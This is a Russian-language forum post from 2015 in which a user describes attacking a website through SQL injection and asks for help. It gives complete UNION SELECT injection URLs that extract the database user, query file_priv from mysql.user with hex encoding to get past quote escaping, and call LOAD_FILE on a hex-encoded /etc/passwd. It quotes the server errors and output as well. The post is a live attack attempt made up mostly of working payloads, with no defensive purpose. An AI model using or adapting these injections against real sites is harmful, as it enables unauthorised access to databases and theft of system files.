Показать сообщение отдельно

  #11  
Старый 11.02.2015, 15:38
izzy
Новичок
Регистрация: 23.09.2010
Сообщений: 5
Провел на форуме:
1142

Репутация: 0
По умолчанию

5.0.95-log

http://www.site.com/index2.php?id=5+and+1=0+union+select+1,2,3,4,5,6,7 ,8,9,10,user(),12,13,14,15,16,17+--+

snowsoc@server

а теперь хочу узнать привилегии юзера

и тут завис

так http://www.site.com/index2.php?id=5+and+1=0+union+select+1,2,3,4,5,6,7 ,8,9,10,file_priv,12,13,14,15,16,17+from+mysql.use r+where+user='snowsoc'+--+

ошибка Error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'snowsoc\' --' at line 1

использую hex http://www.site.com/index2.php?id=5+and+1=0+union+select+1,2,3,4,5,6,7 ,8,9,10,file_priv,12,13,14,15,16,17+from+mysql.use r+where+user=0x736e6f77736f63

ошибка Error 1142 : SELECT command denied to user 'snowsoc'@'server' for table 'user'

что эта ошибка значит?

проверяю через LOAD_FILE('/etc/passwd')

http://www.site.com/index2.php?id=5+and+1=0+union+select+1,2,3,4,5,6,7 ,8,9,10,load_file%280x2f6574632f706173737764%29,12 ,13,14,15,16,17--+

выводит страницу сайта и число 10

это значить что привилегии у пользователя есть?
 
Ответить с цитированием